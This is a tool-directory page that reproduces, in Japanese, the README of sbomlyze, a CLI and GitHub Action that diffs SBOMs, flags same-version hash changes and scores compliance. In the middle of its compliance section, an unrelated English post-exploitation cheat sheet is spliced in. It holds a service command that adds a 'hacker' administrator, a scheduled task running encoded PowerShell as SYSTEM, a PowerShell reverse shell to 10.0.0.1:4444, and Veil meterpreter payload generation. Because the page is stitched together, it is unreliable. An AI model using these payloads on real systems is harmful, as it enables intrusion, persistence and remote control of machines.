Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
sbomlyze — SBOM用のGit diff — CycloneDX、SPDX、Syftドキュメントを比較し、改ざんを検出し、CIをゲートします。 | Kitploit
ツール/GitHubGitHub/rezmoss/sbomlyze
静的分析脆弱性分析構成監査DevSecOpsユーティリティとフレームワークシークレット検出脅威インテリジェンスサプライチェーンセキュリティ
GitHubrezmoss/sbomlyze

sbomlyze

SBOM用のGit diff — CycloneDX、SPDX、Syftドキュメントを比較し、改ざんを検出し、CIをゲートします。

リポジトリを見る
24212日前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

sbomlyze

あなたのSBOMのためのgit diff。 2つのSoftware Bill of Materials(SBOM)を比較し、ビルド間・バージョン間・リリース間で何が変わったかを確認します。

sbomlyzeは、バージョン文字列だけでなくコンポーネントのハッシュを比較します。攻撃者がバージョンを上げずにパッケージをすり替えた場合、sbomlyzeはそれを検出します。SBOMジェネレータや脆弱性スキャナではこのような変化を見逃します。

CI GitHub Marketplace GitHub Release Go Report Card OpenSSF Scorecard License: Apache-2.0 Downloads

SBOMlyzeが実際のプルリクエストにおける同バージョンのハッシュ変更をブロックする様子

このシグナルがマニフェスト差分や通常のコンポーネント差分とどう違うかは、 マニフェスト差分 vs. SBOM差分 vs. 整合性ドリフト を参照してください。

ジェネレータはSBOMを作成し、スキャナはCVEを見つけます。sbomlyzeは2つのSBOM間で何が変わったか、そしてそれを信頼すべきかを示します。 ジェネレータの後に実行してください: syft image:tag -o cyclonedx-json | sbomlyze - --compliance は、一時ファイルなしで生成されたSBOMを分析しスコアリングします。ベースラインと比較してドリフトを分類し、パイプラインをゲートします。

GitHub Action クイックスタート

GitHub Marketplace の SBOMlyze Diff を追加して、チェックイン済み または別途生成されたSBOMをgitベースラインと比較します。以下の不変のSHAは、 公開されている v0.5.1 Action です。```yaml steps:

  • uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 with: fetch-depth: 0

  • uses: rezmoss/sbomlyze@31503690611fda8ebba4ed2bd186eda000442594 # v0.5.1 with: sbom-path: build/sbom.cdx.json

root@kitploit:~
The Action writes a Job Summary by default and can enforce policy, report
integrity drift, upload SARIF, or maintain a single pull-request comment. See
[the complete Action reference](https://github.com/rezmoss/sbomlyze/blob/HEAD/ACTION.md) for inputs, outputs, permissions,
and security guidance. See the
[live demonstration repository](https://github.com/rezmoss/sbomlyze-action-demo)
for a passing dependency update and a blocked same-version hash change, with
public workflow runs and SARIF evidence.

フォーマット別のdogfoodingには、公開されている
[Go + SPDX](https://github.com/rezmoss/sbomlyze-go-spdx-demo)、
[Node + CycloneDX](https://github.com/rezmoss/sbomlyze-node-cyclonedx-demo)、または
[container](https://github.com/rezmoss/sbomlyze-container-demo)の例を使用してください。それぞれに再現可能な5つのレビューシナリオが含まれています。[10分ベータガイド](https://github.com/rezmoss/sbomlyze/blob/HEAD/BETA.md)には、アクティベーションとシグナル品質に関する4つの焦点を絞った質問がまとめられています。

生成されたSBOMはコミットする必要はありません。`baseline: workflow-artifact` は、デフォルトブランチの成功した実行から最新の一致するアーティファクトを取得します。[固定されたSyftコンパニオンワークフロー](https://github.com/rezmoss/sbomlyze/blob/HEAD/examples/workflows/syft-companion.yml) は、SBOMlyzeがレビューとポリシーを担当する一方で、生成とベースライン公開を示しています。

## Why sbomlyze?

SBOMを生成するツールは多くあります。しかし、それらを比較するものはほとんどなく、変更が日常的なものなのかサプライチェーンの危険信号なのかを教えてくれるものはさらに少ないのです。sbomlyzeはそのギャップを埋めます。

| 機能 | **sbomlyze** | cyclonedx-cli | sbomqs | syft / trivy |
|---|:---:|:---:|:---:|:---:|
| SBOM間の**差分** | ✅ | 基本 | ❌ | ❌ |
| **整合性 / 改ざん**ドリフト(バージョン変更なしのハッシュ変更) | ✅ | ❌ | ❌ | ❌ |
| 依存関係グラフの差分 + 推移的深度リスク | ✅ | ❌ | ❌ | ❌ |
| **NTIA / CISA / BSI** コンプライアンススコアリング | ✅ | ❌ | ✅ | ❌ |
| フォーマット変換(Syft / CycloneDX / SPDX) | ✅ | ✅ | ❌ | 一部 |
| **TUI + Web UI** エクスプローラー | ✅ | ❌ | ❌ | ❌ |
| ポリシーゲート + SARIF / JUnit / Markdown / HTML / Patch | ✅ | 一部 | 一部 | 一部 |

## 機能

- **SBOM差分**: 2つのSBOMを比較し、追加・削除・変更されたコンポーネントをひと目で確認できます
- **ドリフト分類**: バージョンドリフトと**整合性ドリフト**(バージョン変更なしにハッシュが変更され、改ざんを示す)、およびメタデータドリフトを区別します
- **コンプライアンススコアリング**: 任意のSBOMを**NTIA**、**CISA 2025**、**BSI TR-03183**の最小要素に対してスコアリングします
- **依存関係グラフの差分**: 推移的依存関係とサプライチェーンの深度を追跡します
- **マルチフォーマット対応**: Syft、CycloneDX、SPDX(JSON)
- **フォーマット変換**: CycloneDX、SPDX、Syft形式間の変換
- **堅牢なIDマッチング**: PURL → CPE → BOM-ref → 名前空間/名前の優先順位
- **統計モード**: ライセンス、依存関係、整合性メトリクスについて単一のSBOMを分析
- **対話型TUIモード**: キーボードナビゲーションと検索でSBOMを探索
- **Web UIモード**: ドラッグ&ドロップアップロード対応のブラウザベースSBOMエクスプローラー
- **ポリシーエンジン**: CIパイプラインでドリフト、ライセンス、コンプライアンススコアのルールを適用
- **GitHub Marketplace Action**: Job Summary、SARIF、任意のコメント出力を使用して、SBOMドリフトに基づいてプルリクエストをゲート
- **重複・衝突検出**: 同じパッケージの複数バージョンと曖昧なID一致を検出
- **複数の出力形式**: Text、JSON、SARIF、JUnit XML、Markdown、HTML、JSON Patch
- **寛容なパース**: エラー時も構造化された警告とともに処理を続行

## インストール

### Homebrew(macOS/Linux)```bash
brew install rezmoss/sbomlyze/sbomlyze

インストーラースクリプト

インストーラースクリプトは、お使いのOS/アーキテクチャに適したバイナリをダウンロードします:```bash

Install to ./bin

curl -sSfL https://raw.githubusercontent.com/rezmoss/sbomlyze/main/install.sh | sh

Install to /usr/local/bin (requires sudo)

curl -sSfL https://raw.githubusercontent.com/rezmoss/sbomlyze/main/install.sh | sudo sh -s -- -b /usr/local/bin

Install specific version

curl -sSfL https://raw.githubusercontent.com/rezmoss/sbomlyze/main/install.sh | sh -s -- -v 0.4.0

root@kitploit:~
**インストーラーオプション:**

| オプション | 説明 |
|--------|-------------|
| `-b <dir>` | インストールディレクトリ(デフォルト: `./bin`) |
| `-d` | デバッグ出力を有効にする |
| `-v <ver>` | 特定のバージョンをインストール(デフォルト: 最新) |

インストーラーは常にリリースのチェックサムを検証します。互換性のあるGitHub CLIがインストールされている場合は、リリースのビルド来歴も検証し、その検証が成功しなければフェイルクローズします。

### Go インストール```bash
go install github.com/rezmoss/sbomlyze/cmd/sbomlyze@latest

バイナリリリースから

最新のバイナリは GitHub Releases からダウンロードできます。

v0.3.7 以降、リリースアーカイブは GitHub artifact attestations 付きで公開されています。 ダウンロードを独立して検証するには、以下を使用します:```bash gh attestation verify ./sbomlyze_0.4.0_Linux_x86_64.tar.gz
--repo rezmoss/sbomlyze
--signer-workflow rezmoss/sbomlyze/.github/workflows/release.yml

root@kitploit:~
署名なしの apt、rpm、apk リポジトリの手順は、リポジトリがパッケージマネージャー標準の署名検証をサポートするまで削除されています。

**macOS ユーザー:** ダウンロード後に検疫フラグを解除してください:```bash
xattr -d com.apple.quarantine ./sbomlyze
chmod +x ./sbomlyze

ソースからビルド```bash

git clone https://github.com/rezmoss/sbomlyze.git cd sbomlyze go build -o sbomlyze ./cmd/sbomlyze

root@kitploit:~
## クイックスタート```bash
# Compare two SBOMs (the headline use case)
sbomlyze before.json after.json

# Analyze a single SBOM
sbomlyze image.json

# Read an SBOM from standard input
syft image:tag -o cyclonedx-json | sbomlyze -

# Use standard input on either side of a diff
syft image:tag -o cyclonedx-json | sbomlyze baseline.json -

# Score an SBOM against NTIA / CISA / BSI minimum elements
sbomlyze image.json --compliance

# Interactive TUI explorer
sbomlyze image.json -i

# Web UI (opens browser)
sbomlyze -web

# Convert between SBOM formats
sbomlyze convert syft.json --to spdx
sbomlyze convert cdx.json --to syft -o output.json

# JSON output for CI integration
sbomlyze before.json after.json --json

# SARIF output for GitHub Code Scanning
sbomlyze before.json after.json --format sarif

# Markdown report for PR comments
sbomlyze before.json after.json --format markdown

# Apply policy checks
sbomlyze before.json after.json --policy policy.json

使い方```

sbomlyze <sbom1|-> [sbom2|-] [options] sbomlyze convert <sbom|-> --to [-o output]

Modes: Single file: sbomlyze [--json] Show statistics Interactive: sbomlyze -i Interactive explorer Convert: sbomlyze convert --to Convert SBOM format Web server: sbomlyze -web [--port 8080] Web UI explorer Two files: sbomlyze [...] Show diff

Use - in place of one SBOM path to read it from standard input.

Options: -i, --interactive Interactive TUI explorer -web, --web Start web UI server --port Web server port (default 8080) --json Output in JSON format (shortcut for --format json) --format Output format: text, json, sarif, junit, markdown, html, patch --compliance Show NTIA/CISA/BSI compliance scoring --policy Policy file for CI checks --strict Fail on parse warnings --tolerant Continue on parse warnings (default) --no-pager Disable automatic paging of output --to Target format for convert: cyclonedx (cdx), spdx, syft -o, --output Output file for convert (default: stdout) --version, -v Show version information --help, -h Show this help message

root@kitploit:~
## コマンド

### 統計モード(単一ファイル)

SBOMを分析して、コンポーネント、ライセンス、依存関係に関する洞察を得ます。```bash
sbomlyze image.json

出力には、スキャンコンテキスト、自動検出された主要な発見事項、および統計情報が含まれます:``` Scan Context: Tool: syft 1.40.1 Schema: 16.0.18 Scan Scope: all-layers Source Type: image Source: alpine:latest

Key Findings: 💻 OS/Distro: Alpine Linux v3.21 📦 Dominated by apk: 71 of 71 packages (100.0%) 📂 8,542 files tracked on filesystem 🔗 Relationships: 71 containment + 64 dependency 📜 License profile: 72% permissive, 20% copyleft ⚠️ Low hash coverage: 0.0% (71 of 71 missing) 🔍 Top catalogers: apkdb-cataloger (71)

📦 SBOM Statistics

Total Components: 71

By Package Type: apk 71

Licenses: With license: 71 Without license: 0

Top Licenses: MIT 17 BSD-3-Clause 8 GPL-2.0-only 8

Integrity: With hashes: 0 Without hashes: 71

Dependencies: Components with deps: 65 Total dep relations: 176

root@kitploit:~
#### Key Findings

sbomlyze は SBOM に関するインサイトを自動的に生成します。単一ファイル解析の場合、以下が含まれます:

| Finding | Description |
|---------|-------------|
| **OS/ディストリビューション検出** | SBOMメタデータからオペレーティングシステムまたはディストリビューションを識別します |
| **主要エコシステム** | 1つのパッケージタイプが全パッケージの60%以上を占める場合に報告します |
| **ファイルシステムのフットプリント** | ファイルシステム上で追跡されたファイル数 |
| **関係密度** | 包含関係および依存関係の数をカウントします |
| **配置のホットスポット** | コンポーネントが見つかる主要ディレクトリ |
| **ライセンスリスクプロファイル** | パーミッシブ/コピーレフト/不明なライセンスの割合の内訳 |
| **データ品質の警告** | ライセンス(<50%)、ハッシュ(<50%)、またはPURL(<80%)のカバレッジが低い場合に警告します |
| **重複警告** | 重複したコンポーネントグループをフラグ付けします |
| **カタロガーの内訳** | コンポーネントを検出した主要なスキャナ/カタロガー(Syft SBOM) |

#### Coverage Metrics

統計モードは、データ品質評価のためのカバレッジ率を計算します:

| Metric | Description |
|--------|-------------|
| **PURLカバレッジ** | Package URLを持つコンポーネントの割合 |
| **CPEカバレッジ** | CPEを持つコンポーネントの割合(脆弱性スキャン対応度) |
| **ライセンスカバレッジ** | 少なくとも1つのライセンスを持つコンポーネントの割合 |
| **ハッシュカバレッジ** | 整合性ハッシュを持つコンポーネントの割合 |

#### License Categorization

ライセンスは自動的に以下のカテゴリに分類されます:

| Category | Examples |
|----------|----------|
| **コピーレフト** | GPL, LGPL, AGPL, MPL, EPL, CDDL |
| **パーミッシブ** | MIT, BSD, Apache, ISC, Zlib, Unlicense |
| **パブリックドメイン** | パブリックドメインへの寄付 |
| **不明** | 認識されない、または欠落しているライセンス |

### Convert Mode

CycloneDX、SPDX、Syft JSON形式の間でSBOMを変換します。入力形式は自動検出されます。```bash
# CycloneDX to SPDX
sbomlyze convert image.cdx.json --to spdx

# Syft to CycloneDX (cdx is an alias for cyclonedx)
sbomlyze convert syft-output.json --to cdx

# SPDX to Syft, writing to a file
sbomlyze convert spdx-output.json --to syft -o converted.json

Supported Target Formats

What's Preserved

Conversion preserves component names, versions, PURLs, CPEs, licenses, hashes, supplier info, and dependency relationships. Format-specific fields (e.g., Syft language, foundBy, locations) are carried through CycloneDX properties when converting to CDX.

Diff Mode (Two Files)

Compare two SBOMs to see what changed between versions.```bash sbomlyze v1.0.json v2.0.json

root@kitploit:~
#### 差分の概要

差分は、ファイル名、サイズ、OS情報、ツール情報、コンポーネント数といったメタデータの並列比較から始まり、利用可能な場合はスキャンコンテキストの詳細が続きます。

#### 出力```
📊 Drift Summary:
  📦 Version drift:   58 components
  ⚠️  Integrity drift: 1 component (hash changed without version change!)
  📝 Metadata drift:  2 components

🔑 Key Findings:
  📈 Attack surface: +5 packages (7.0%), +120 files (3.2%)
  🚨 2 version downgrades detected: openssl 3.1.4→3.0.2, curl 8.5.0→8.4.0
  🔄 56 version upgrades (2 major, 12 minor, 42 patch) among 65 shared packages
  ⚠️  Integrity drift (1 total): 1 npm (review recommended)
  ❌ python ecosystem entirely removed (15 → 0 packages)
  ➕ New ecosystem: golang (8 packages)
  ✅ Core system packages stable: apk (71) unchanged

+ Added (2):
  + libgcrypt 1.10.3-r0
  + libgpg-error 1.49-r0

- Removed (3):
  - libapk 3.0.3-r1
  - libgcc 15.2.0-r2
  - nghttp3 1.13.1-r0

~ Changed (58):
  ~ nginx
      version: 1.29.4-r1 -> 1.27.3-r1
  ~ suspicious-pkg ⚠️  [INTEGRITY]
      hash[SHA256]: abc123 -> def456

>> Added dependencies:
  pkg:apk/alpine/libxslt: +[so:libgcrypt.so.20]

<< Removed dependencies:
  pkg:apk/alpine/libcurl: -[so:libnghttp3.so.9]

🔗 New transitive dependencies (3):
  + pkg:npm/lodash (depth 2)
    via: [pkg:npm/my-app pkg:npm/express pkg:npm/lodash]
  + pkg:npm/underscore (depth 3)
    via: [pkg:npm/my-app pkg:npm/express pkg:npm/lodash pkg:npm/underscore]

📊 New deps by depth:
  Depth 2:              1
  Depth 3+ (risky):     2 ⚠️

Diff の主要な発見事項

diff モードでは、sbomlyze が両方の SBOM を比較して、より詳細なインサイトを自動生成します:

パッケージタイプ別のサンプル

追加および削除されたコンポーネントはパッケージタイプごとにサンプル一覧付きでグループ化され、各エコシステムで何が変更されたかを簡単に確認できます。

コンプライアンススコアリング

任意の SBOM を主要な3つの最小要素フレームワークに対してスコアリングし、監査人や調達チームが繰り返し尋ねる質問に答えます: 「この SBOM は十分に完全ですか?」```bash

Score a single SBOM

sbomlyze image.json --compliance

Score alongside a diff

sbomlyze before.json after.json --compliance

As JSON for CI

sbomlyze image.json --compliance --json

root@kitploit:~
### 評価対象フレームワーク

| フレームワーク | チェック数 | 注目すべき要件 |
|-----------|--------|----------------------|
| **NTIA Minimum Elements**(2021年) | 7 | 名前、バージョン、サプライヤー、一意のID(PURL/CPE)、依存関係、SBOM作成者、タイムスタンプ |
| **CISA 2025 Minimum Elements**(2025年8月ドラフト) | 10 | NTIAに加え、ソフトウェアプロデューサー、ライセンス情報、**コンポーネントハッシュ**、ツール名を追加 |
| **BSI TR-03183-2**(v2.1.0、2025年) | 9 | コンポーネント作成者の連絡先、**SHA-512ハッシュ**、SPDX形式のライセンス、SBOM作成者の連絡先を要求 |

### スコア表示

各フレームワークは、パーセンテージ(合格チェック数 / 総チェック数)と全体スコア(全フレームワークの平均)を報告し、ステータスインジケーター付きで表示します:

| インジケーター | スコア |
|-----------|-------|
| 🟢 | ≥ 90% |
| 🟡 | 70–89% |
| 🟠 | 50–69% |
| 🔴 | < 50% |

JSON出力(`--compliance --json`)には、チェックごとの合格/不合格の詳細を含む完全なレポートが含まれます。HTML形式では、コンプライアンスレポートがレポートページに埋め込まれます。

### CIでのコンプライアンスゲート

[ポリシーエンジン](#policy-engine)を通じてコンプライアンスのしきい値を強制します。何らかのしきい値を設定すると、`--compliance` フラグなしでコンプライアンス評価がトリガーされます:```json
{
  "min_ntia_score": 85,
  "min_cisa_score": 70,
  "min_bsi_score": 80,
  "min_overall_compliance": 75
}

Replace your-proxy-url with your actual proxy, and target-url with the target you want to sniff.

Post-Exploitation

🔍 Deep Recon & Automation

Tool / CommandDescription
advanced_enum.shComprehensive enumeration combining multiple tools

Windows Post-Exploitation

Getting System Shells

  • Using Services: sc \\target create name binpath= "cmd.exe /c net user hacker Password123 /add && net localgroup administrators hacker /add" — Create a service for privilege escalation
  • Using Scheduled Tasks: schtasks /create /tn "Update" /tr "powershell.exe -enc [base64]" /sc once /st 00:00 /ru system — Create task to run as SYSTEM

PowerShell Reverse Shells

root@kitploit:~
# PowerShell One-Liner
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Veil-Evasion Usage

root@kitploit:~
# Generate PowerShell payload
./Veil.py -t powershell -p VirtualAlloc -o payload --msfvenom windows/meterpreter/reverse_tcp

# Generate Python payload
./Veil.py -t python -o payload.py --msfvenom windows/meterpreter/reverse_tcp

Linux Post-Exploitation

Privilege Escalation Techniques

Automated Tools

root@kitploit:~
# LinPEAS - Comprehensive Privilege Escalation Script
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Linux Smart Enumeration
wget "https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh" -O lse.sh; chmod +x lse.sh; ./lse.sh

# LinEnum
wget "https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh" -O LinEnum.sh; chmod +x LinEnum.sh; ./LinEnum.sh
``````bash
sbomlyze image.json --policy compliance-policy.json

Dependency Graph Diff

sbomlyze は単純なコンポーネントリストの差分を超えて、依存関係グラフ全体を分析し、推移的依存関係を通じて導入されるサプライチェーンリスクを検出します。

Features

深さが重要な理由

グラフのより深い位置で導入される依存関係は以下のとおりです:

  • 監査やレビューが困難
  • 明示的な承認なしに取り込まれることが多い
  • サプライチェーン攻撃の一般的なベクター(例: event-stream インシデント)

深さサマリーはレビューの優先順位付けに役立ちます:

深さリスクレベル説明
1低直接依存関係(自分で選んだもの)
2中依存関係の依存関係

例: 深い推移的依存関係の検出```bash

Before: app -> express (simple, 1 dep)

After: app -> express -> lodash -> underscore -> deep-lib (chain of 4)

sbomlyze before.json after.json

root@kitploit:~
出力:```
🔗 New transitive dependencies (3):
  + lodash (depth 2)
    via: [app express lodash]
  + underscore (depth 3)
    via: [app express lodash underscore]
  + deep-lib (depth 4)
    via: [app express lodash underscore deep-lib]

📊 New deps by depth:
  Depth 2:              1
  Depth 3+ (risky):     2 ⚠️

依存関係グラフのJSON出力```json

{ "dependencies": { "added_deps": { "pkg:npm/express": ["pkg:npm/lodash", "pkg:npm/body-parser"] }, "removed_deps": {}, "transitive_new": [ { "target": "pkg:npm/underscore", "via": ["pkg:npm/my-app", "pkg:npm/express", "pkg:npm/lodash", "pkg:npm/underscore"], "depth": 3 } ], "transitive_lost": [], "depth_summary": { "depth_1": 0, "depth_2": 2, "depth_3_plus": 2 } } }

root@kitploit:~
## ドリフト検出

sbomlyze はコンポーネントの変更を 3 種類のドリフトに分類し、通常の更新と潜在的に疑わしい変更を区別するのに役立ちます。

### ドリフトの種類

| タイプ | インジケーター | 説明 | 重大度 |
|------|-----------|-------------|----------|
| **バージョン** | 📦 | バージョン番号が変更された | 通常 |
| **整合性** | ⚠️ | バージョン変更なしでハッシュが変更された | 高 - 調査が必要! |
| **メタデータ** | 📝 | メタデータ(ライセンスなど)のみが変更された | 低 |

### 整合性ドリフト(セキュリティシグナル)

整合性ドリフトは、コンポーネントのハッシュが変更されたにもかかわらず、バージョンが同じままである場合に発生します。これは以下を示す可能性があります:

- **サプライチェーン攻撃**: パッケージが悪意のあるバージョンに置き換えられた
- **バージョン番号を増やさないリビルド**: 合法的だが不適切な慣行
- **異なるビルド環境**: 再現性の問題```bash
# Example output with integrity drift
~ suspicious-pkg ⚠️  [INTEGRITY]
    hash[SHA256]: abc123 -> def456

Recommendation: 常に整合性のドリフトを調査してください。良性の場合もありますが、サプライチェーンセキュリティの重要なシグナルです。

JSON Output for Drift

ドリフトの要約は diff オブジェクト内にあります:```json { "diff": { "changed": [ { "id": "pkg:npm/suspicious-pkg", "name": "suspicious-pkg", "changes": ["hash[SHA-256]: abc123 -> def456"], "drift": { "type": "integrity", "hash_changes": { "changed": { "SHA-256": {"before": "abc123", "after": "def456"} } } } } ], "drift_summary": { "version_drift": 55, "integrity_drift": 1, "metadata_drift": 2 } } }

root@kitploit:~
**ドリフトサマリーの抽出:**```bash
# Get drift summary
sbomlyze before.json after.json --json | jq '.diff.drift_summary'

# Check for integrity drift in CI
sbomlyze before.json after.json --json | jq -e '.diff.drift_summary.integrity_drift > 0'

重複 & 衝突検出

重複検出

sbomlyze は、SBOM 内で同一のアイデンティティを持つがバージョンが異なるコンポーネントを識別します:``` ⚠️ Duplicates Found: 2 lodash: [4.17.20, 4.17.21] express: [4.18.0, 4.19.2]

root@kitploit:~
差分モードでは、重複バージョンの差分追跡は以下を追跡します:
- **新しい重複**: 新しいSBOMで重複したコンポーネント
- **解決済みの重複**: 統合された重複グループ
- **バージョンの追加/削除**: 既存の重複グループ内でのバージョン変更

### 衝突検出

衝突とは、コンポーネントが同じIDを共有しながらも、矛盾する特性を持つ曖昧なアイデンティティ一致のことです:

| Type | Description |
|------|-------------|
| **名前の不一致** | 同じアイデンティティIDにマッピングされた異なるコンポーネント名 |
| **ハッシュの不一致** | 同じバージョンのコンポーネントが異なるハッシュを持つ(改ざんの可能性) |

## SBOMlyze SBOM Explorer (TUI)```bash
sbomlyze sbom.json -i

interactive-sbom

TUI キーボードショートカット

ナビゲーション

検索とフィルタ

KeyAction
/全フィールドをディープ検索(name、PURL、licenses、raw JSON)
tパッケージタイプでフィルタ(npm、apk、golang、pypi など)
cアクティブなフィルタをすべてクリア

ビュー

コンポーネント詳細ビュー

詳細ビューには、コンポーネントの包括的な情報が表示されます:

  • パッケージ情報(name、version、PURL、namespace、supplier)
  • 視覚的インジケータ付きのライセンス
  • 整合性ハッシュ
  • CPE(Common Platform Enumeration)
  • 依存関係リスト
  • 識別子(ID、BOM-ref、SPDX-ID)

Web UI モード

ドラッグ&ドロップのファイルアップロードに対応した、ブラウザベースの SBOM エクスプローラーを起動:```bash

Start web server on default port 8080

sbomlyze -web

Start on custom port

sbomlyze -web --port 3000

root@kitploit:~
その後、ブラウザで http://localhost:8080 を開きます。

<img width="1497" height="1266" alt="Screenshot 2026-02-06 at 17 08 13" src="https://assets.kitploit.com/production/public/readmes/12637/57bcd50bc9b9955714b9078d1de37fc8152be02845a5c25b74a8fd14ff587bf4.png" />



### Web UI 機能

| 機能 | 説明 |
|---------|-------------|
| **ドラッグ&ドロップアップロード** | 任意の SBOM ファイル(Syft、CycloneDX、SPDX)をページにドロップ(最大 500MB) |
| **依存関係ツリー** | 展開/折りたたみナビゲーション対応のインタラクティブなツリービュー(5000 を超えるコンポーネントはページ分割) |
| **コンポーネント詳細** | ライセンス、ハッシュ、依存関係、サプライヤー情報、ファイル数を表示 |
| **生 JSON ビュー** | 各コンポーネントの JSON を構文ハイライト表示 |
| **ディープサーチ** | 生の JSON データを含む全フィールドを横断検索 |
| **統計ダッシュボード** | カバレッジメトリクス、ライセンスカテゴリ、言語分布 |
| **ファイルシステムブラウザ** | ディレクトリナビゲーション、検索、レイヤーフィルタリングで SBOM 内のファイルを閲覧 |

### 表示される統計情報

Web UI には以下の包括的な統計情報が表示されます:

- **コンポーネント数**(パッケージタイプ別: npm、apk、pypi など)
- **ライセンス分布**(カテゴリ別内訳: コピーレフト、パーミッシブ、パブリックドメイン)
- **カバレッジメトリクス**(視覚的なプログレスバー付き):
  - PURL カバレッジ(パッケージ URL の存在)
  - CPE カバレッジ(脆弱性スキャンの準備状況)
  - ライセンスカバレッジ
  - ハッシュ/整合性カバレッジ
- **言語別内訳**(Syft 生成の SBOM の場合)
- **リレーションシップ統計**(contains、dependency-of、evident-by)
- **重複検出**の警告

### ユースケース

**セキュリティレビュー**
- SBOM をアップロードし、依存関係ツリー全体を調査
- 脆弱性スキャンが機能するよう CPE カバレッジを確認
- ライセンスやハッシュがないコンポーネントを確認

**コンプライアンス監査**
- 全コンポーネントから特定のライセンスを検索
- ライセンスカテゴリ分布を表示(コピーレフト vs パーミッシブ)
- ドキュメント用に生の JSON をエクスポート

**開発デバッグ**
- イメージに含まれるパッケージを調査
- 推移的依存関係を確認
- パッケージのメタデータが正しいか検証

### ファイルシステムブラウザ

Web UI には、SBOM 内のファイルを調査するための完全なファイルシステムブラウザが含まれています(特にファイルメタデータを含む Syft 生成の SBOM に便利です):

- **ディレクトリツリーナビゲーション**(パンくずリスト付き)
- **ファイル検索**(部分文字列およびグロブパターン対応、例: `*.so`、`/usr/lib/**/*.conf`)
- **レイヤーフィルタリング**(コンテナイメージの SBOM 用。イメージレイヤーごとにファイルを閲覧)
- **コンポーネントとファイルの関連**(どのコンポーネントがどのファイルを所有しているか)
- **ファイル統計**(タイプ、MIME タイプ、拡張子、レイヤー別)
- **所有されていないファイルの検出**(どのコンポーネントにも関連付けられていないファイル)

## オプション

### `-i`(インタラクティブモード)

キーボード操作で SBOM をナビゲートする、ターミナルベースの TUI エクスプローラーを起動します。```bash
sbomlyze image.json -i

Features: ツリーナビゲーション、コンポーネント詳細、検索、ライセンス/ハッシュ検査。

-web (Webサーバーモード)

ブラウザベースのSBOM探索用にWebサーバーを起動します。```bash

Default port 8080

sbomlyze -web

Custom port

sbomlyze -web --port 3000

root@kitploit:~
The web UI provides drag-and-drop upload, interactive tree view, deep search, and statistics dashboard.

### `--compliance`

SBOMをNTIA、CISA 2025、BSI TR-03183の最小要素フレームワークに照らしてスコアリングします。[コンプライアンススコアリング](#compliance-scoring) を参照してください。```bash
sbomlyze image.json --compliance
sbomlyze image.json --compliance --json

--format / -f

出力形式を選択します。7つの形式が利用可能です。

SARIF output for GitHub Code Scanning

sbomlyze before.json after.json --format sarif > results.sarif

JUnit output for CI test dashboards

sbomlyze before.json after.json --format junit > results.xml

Markdown report for PR comments

sbomlyze before.json after.json --format markdown > report.md

Self-contained HTML report

sbomlyze before.json after.json --format html > report.html

JSON Patch operations

sbomlyze before.json after.json --format patch > changes.json

root@kitploit:~
#### SARIF Format

[SARIF 2.1.0](https://sarifweb.azurewebsites.net/) レポートを生成します。これは GitHub Code Scanning に適しています。検出されるルールは以下のとおりです:

- `integrity-drift` (エラー): バージョン変更なしでハッシュが変更された
- `deep-dependency` (警告): 深さ3以上の新しい依存関係
- `new-component` / `removed-component` (注意): コンポーネントの追加/削除
- `version-change` (注意): コンポーネントのバージョン更新
- `policy-violation` (エラー/警告): ポリシールール違反

#### JUnit Format

JUnit XML をテストケース付きで生成します:
- 整合性ドリフトなし
- 深い推移的依存関係なし (深さ3以上)
- ポリシー準拠 (違反ごとに1つのテストケース)
- SBOM 差分サマリー

#### Markdown Format

Markdown レポートを生成します:
- 左右に並べた SBOM 比較テーブル (ファイル、サイズ、OS、カバレッジメトリクス)
- スキャンコンテキストの詳細
- 主な発見事項
- タイプ別にグループ化された追加/削除パッケージ (折りたたみセクション内)
- ドリフトサマリー、依存関係の深さ、ポリシー違反

#### HTML Format

単一の自己完結型 HTML ファイル (インライン CSS と JavaScript、外部アセットなし) を生成します。監査人へのメール送信やリリースへの添付に適しています。統計ダッシュボード、依存関係ツリー、ドリフトサマリー、および `--compliance` が設定されている場合は埋め込みコンプライアンスレポートが含まれます。

#### Patch Format

差分を表す RFC 6902 JSON Patch オペレーション (`add`, `remove`, `replace`) の配列を生成します。

### `--json`

`--format json` の短縮形です。プログラムからの利用のために結果を JSON 形式で出力します。```bash
# Stats as JSON
sbomlyze image.json --json

# Diff as JSON
sbomlyze before.json after.json --json

統計JSON構造:```json { "stats": { "total_components": 71, "by_type": {"apk": 71}, "by_license": {"MIT": 17, "BSD-3-Clause": 8}, "without_license": 0, "with_hashes": 0, "without_hashes": 71, "total_dependencies": 176, "with_dependencies": 65, "duplicate_count": 0, "by_language": {"go": 45, "python": 12}, "by_found_by": {"apk-db-cataloger": 71}, "license_categories": { "copyleft": 8, "permissive": 55, "public_domain": 0, "unknown": 8 }, "with_cpes": 71, "without_cpes": 0, "with_purl": 71, "without_purl": 0 }, "warnings": [] }

root@kitploit:~
### `--policy <file>`

ポリシールールを適用し、違反した場合はCIを失敗させます。```bash
sbomlyze before.json after.json --policy policy.json

詳細はPolicy Engineを参照してください。

--strict

解析エラーが発生した場合は、即座に失敗します。```bash sbomlyze broken.json --strict

Error parsing broken.json: unknown SBOM format

exit status 1

root@kitploit:~
### `--tolerant` (デフォルト)

